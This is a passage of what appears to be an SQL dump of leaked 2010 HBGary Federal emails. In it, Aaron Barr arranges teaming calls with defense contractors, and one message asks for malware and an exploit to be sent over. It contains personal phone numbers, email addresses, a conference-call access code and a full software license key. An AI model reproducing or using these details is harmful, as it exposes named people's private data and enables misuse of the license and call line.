wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s finalize teaming. Are you available on Friday, Feb 19 at\r\n10 AM or 2 PM?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to have a business discussion only at that time, or\r\nalso discuss technical approaches and proposal? If the former, it will be just\r\nme. If the latter, I&#8217;ll have a sr engineer join the discussion.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnita\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nApplied Visions, Inc. (AVI)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDirector, Secure Decisions Division\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11347,'aaron_hbgary_com/11347.html'),(3169,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001480.M318860P3547Q3170.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: Telecon with Secure Decisions and HB Gary','Thats fine.On Feb 26, 2010, at 11:48 AM, Anita D\'Amico wrote:Aaron,&nbsp;Kenny isn’t available at 2 PM.&nbsp;Let’s telecon at 1:30 with Kenny and Brianne. Then after Kenny goes to his 2 PM meeting elsewhere, we can continue the discussion with Brianne, you and me including the business discussions.&nbsp;Conf Call # 218-486-1600 Access code: 609839&nbsp;Anita&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 11:46 AMTo:&nbsp;Anita D\'AmicoCc:&nbsp;Kenny Prole; Brianne O\'BrienSubject:&nbsp;Re: Telecon with Secure Decisions and HB Gary&nbsp;Great lets shoot for 2pm.&nbsp;Aaron&nbsp;&nbsp;On Feb 26, 2010, at 11:42 AM, Anita D\'Amico wrote:Aaron,&nbsp;Ken Prole and Brianne O’Brien who will be joining us on the call can do either 1:30 to 2:00 or 4:30 to 5:00. Which is best for you? Whichever you choose, I’ll call you 10 minutes ahead so we can discuss the business part.&nbsp;Conf Call # 218-486-1600 Access code: 609839&nbsp;Anita&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 9:15 AMTo:&nbsp;Anita D\'AmicoSubject:&nbsp;Re: Team with HBGary?&nbsp;I am available at 2-3pm. &nbsp;I would like to have a little bit of a technical approach discussion.&nbsp;Aaron&nbsp;On Feb 25, 2010, at 4:53 PM, Anita D\'Amico wrote:Aaron,&nbsp;Let’s finalize teaming. Are you available on Friday, Feb 19 at 10 AM or 2 PM?&nbsp;Do you want to have a business discussion only at that time, or also discuss technical approaches and proposal? If the former, it will be just me. If the latter, I’ll have a sr engineer join the discussion.&nbsp;Anita&nbsp;Anita D\'Amico, Ph.D.Applied Visions, Inc. (AVI)Director, Secure Decisions Division6 Bayview Avenue, Northport, NY 11768-1502http://SecureDecisions.avi.com(631) 754-4920 ext. 147&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14546,'aaron_hbgary_com/14546.html'),(3170,'2010-02-26','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297001480.M739500P3547Q3171.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Contact Info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n3:30 &nbsp;or 4:00 sounds good.&nbsp; I have a 1:00 &#8211; 3:00\r\nthat just got sprung on me.&nbsp; Also Jerry will be back here by then.\r\n\r\n&nbsp;\r\n\r\nOne quick question, do you have an NDA with us for COIN?&nbsp; If\r\nnot, I can help push that but we need a signed agreement to go much further. &nbsp;After\r\nthat, we can talk about next steps.&nbsp; My real concern right now is to\r\nidentify the work and who fits in where.&nbsp; But we have to ID the work\r\nfirst, that is where you come in.&nbsp; So, let&#8217;s be prepared to talk\r\nschedule a little when we talk.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 11:34 AM\r\nTo: Clair, Chris (TASC Inc)\r\nSubject: Re: Contact Info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI should be off by 3:30pm.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:33 AM, Clair, Chris (TASC Inc) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe could touch base after that.&nbsp; How long do you think the\r\ntelcon will last?&nbsp; We could do it latest at 4:00.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, February 26,\r\n2010 11:28 AM\r\nTo:&nbsp;Clair, Chris (TASC\r\nInc)\r\nSubject:&nbsp;Re: Contact Info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure. &nbsp;I have a telecon scheduled for 3pm. &nbsp;Is\r\nthere another time you have available?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPh: 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:09 AM, Clair, Chris (TASC Inc) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nCan you forward me your\r\ncontact information?&nbsp; Is there a&nbsp;possibility to chat around 3:00\r\ntoday to set up some time for next week?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chris\r\n__________________________________________________\r\n&nbsp;&nbsp;|Chris\r\nClair&nbsp;|&nbsp;Program Manager&nbsp;|&nbsp;703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4007,'aaron_hbgary_com/4007.html'),(3171,'2010-02-26','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297001480.M93359P3547Q3169.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Responder Licences','Good Morning Aaron,   Here is a 1 year Responder Pro with DDNA.  I try to give out timed licenses to employee&#39;s because even if its perpetual you cannot update after the maintenance expiration date.  This way there is no confusion about why you cant update.  When you need a new license next year just let me know and I&#39;ll cut another one.\r\nBDD9321A5000000022D49D50A97CEB01D9EB7106B20CF1F49104000004000000020000005AB60F0000000000020400005AB60F0000000000030000005AB60F0000000000030400005AB60F0000000000Let me know if you need anything else.  \r\nOn Fri, Feb 26, 2010 at 8:03 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Charles,\r\n\r\nI just installed Responder Pro and would like to get a perpetual license if I could.\r\n\r\nMAchine ID: 1A32D9BD\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',8840,'aaron_hbgary_com/8840.html'),(3172,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001480.M942126P3547Q3172.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,','Re: DARPA BAA','Adam,\r\n\r\nNice talking with you today.  Looking forward to our effort together.\r\n\r\nAs I mentioned.  We will be putting together the teaming agreement paperwork and getting it out to the team on Monday.\r\n\r\nI will also be working on a framework for a technical approach and send that out on Monday as well, just a starting point.  \r\n\r\nAaron\r\n\r\n\r\nOn Feb 25, 2010, at 9:43 PM, Adam Fraser wrote:\r\n\r\n> Aaron,\r\n> \r\n> Good evening.  Irby asked me to take the stick on this effort so I\r\n> wanted to see if you\'d have time to talk tomorrow.  I\'m available anytime.\r\n> \r\n> Thanks\r\n> -- Adam\r\n> \r\n> On 2/25/10 6:39 PM, Irby Thompson wrote:\r\n>> Aaron,\r\n>> \r\n>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>> \r\n>> 	Regards,\r\n>> 	Irby\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hi Irby,\r\n>>> \r\n>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>> \r\n>>> Thanks,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3255,'aaron_hbgary_com/3255.html'),(3173,'2010-02-26','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001481.M142093P3547Q3173.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Kenny Prole\" <KennyP@avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','FW: Telecon with Secure Decisions and HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe are set for 1:30 at Conf Call # 218-486-1600\r\nAccess code: 609839\r\n\r\nKenny will leave telecon at 2 PM\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Anita D\'Amico \r\nSent: Friday, February 26, 2010 11:48 AM\r\nTo: \'Aaron Barr\'\r\nCc: Kenny Prole; Brianne O\'Brien\r\nSubject: RE: Telecon with Secure Decisions and HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nKenny isn&#8217;t available at 2 PM.\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s telecon at 1:30 with Kenny and Brianne. Then after Kenny\r\ngoes to his 2 PM meeting elsewhere, we can continue the discussion with\r\nBrianne, you and me including the business discussions.\r\n\r\n&nbsp;\r\n\r\nConf Call # 218-486-1600 Access code: 609839\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 11:46 AM\r\nTo: Anita D\'Amico\r\nCc: Kenny Prole; Brianne O\'Brien\r\nSubject: Re: Telecon with Secure Decisions and HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat lets shoot for 2pm.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:42 AM, Anita D\'Amico wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKen Prole and Brianne O&#8217;Brien who will be joining us on the call\r\ncan do either 1:30 to 2:00 or 4:30 to 5:00. Which is best for you? Whichever\r\nyou choose, I&#8217;ll call you 10 minutes ahead so we can discuss the business part.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nConf Call # 218-486-1600 Access code: 609839\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnita\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, February 26,\r\n2010 9:15 AM\r\nTo:&nbsp;Anita D\'Amico\r\nSubject:&nbsp;Re: Team with\r\nHBGary?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am available at 2-3pm. &nbsp;I would like to have a little\r\nbit of a technical approach discussion.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 4:53 PM, Anita D\'Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s finalize teaming. Are you available on Friday, Feb 19 at\r\n10 AM or 2 PM?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to have a business discussion only at that time, or\r\nalso discuss technical approaches and proposal? If the former, it will be just\r\nme. If the latter, I&#8217;ll have a sr engineer join the discussion.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnita\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nApplied Visions, Inc. (AVI)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDirector, Secure Decisions Division\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',501,'aaron_hbgary_com/501.html'),(3174,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001481.M358935P3547Q3174.eml','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Contact Info','No ndaFrom my iPhoneOn Feb 26, 2010, at 12:04 PM, &quot;Clair, Chris (TASC Inc)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\n3:30  or 4:00 sounds good.  I have a 1:00 – 3:00\r\nthat just got sprung on me.  Also Jerry will be back here by then.\r\n\r\n \r\n\r\nOne quick question, do you have an NDA with us for COIN?  If\r\nnot, I can help push that but we need a signed agreement to go much further.  After\r\nthat, we can talk about next steps.  My real concern right now is to\r\nidentify the work and who fits in where.  But we have to ID the work\r\nfirst, that is where you come in.  So, let’s be prepared to talk\r\nschedule a little when we talk.\r\n\r\n \r\n\r\nThanks,\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 11:34 AM\r\nTo: Clair, Chris (TASC Inc)\r\nSubject: Re: Contact Info\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI should be off by 3:30pm.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:33 AM, Clair, Chris (TASC Inc) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe could touch base after that.  How long do you think the\r\ntelcon will last?  We could do it latest at 4:00.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26,\r\n2010 11:28 AM\r\nTo: Clair, Chris (TASC\r\nInc)\r\nSubject: Re: Contact Info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure.  I have a telecon scheduled for 3pm.  Is\r\nthere another time you have available?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPh: 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:09 AM, Clair, Chris (TASC Inc) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nCan you forward me your\r\ncontact information?  Is there a possibility to chat around 3:00\r\ntoday to set up some time for next week?\r\n\r\nThanks,\r\n      Chris\r\n\r\n__________________________________________________\r\n  &lt;~WRD000.jpg&gt;|Chris\r\nClair | Program Manager | 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9451,'aaron_hbgary_com/9451.html'),(3175,'2010-02-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001481.M566736P3547Q3175.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Things we need','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry, baby needed attention.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 10:49 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Things we need\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyou still on a call?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou\'ll have links to download responder today. &nbsp;working\r\non rest.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 9:39 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHere are what we have going\r\non:\r\n\r\nMalware integration:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNeed you to get with our\r\ncontracts manager Mike Rushing to get the\r\nPIEA changes made\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNeed the malware and exploit sent to us\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCyber Threat\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nA copy of the results of the\r\nAurora analysis that was done out in\r\nSacramento two weeks ago\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nA description of the process\r\nused for the Aurora analysis\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAt least one copy of HBGary tools\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssistance with interfacing to\r\nHBGary tools to extract data items\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary malware database\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary malware repository\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDARPA Proposal\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTBD\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNear-term work\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMemory object from recon\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLicense requirements for Greg&#8217;s new concept\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',558,'aaron_hbgary_com/558.html'),(3176,'2010-02-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001481.M762239P3547Q3176.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 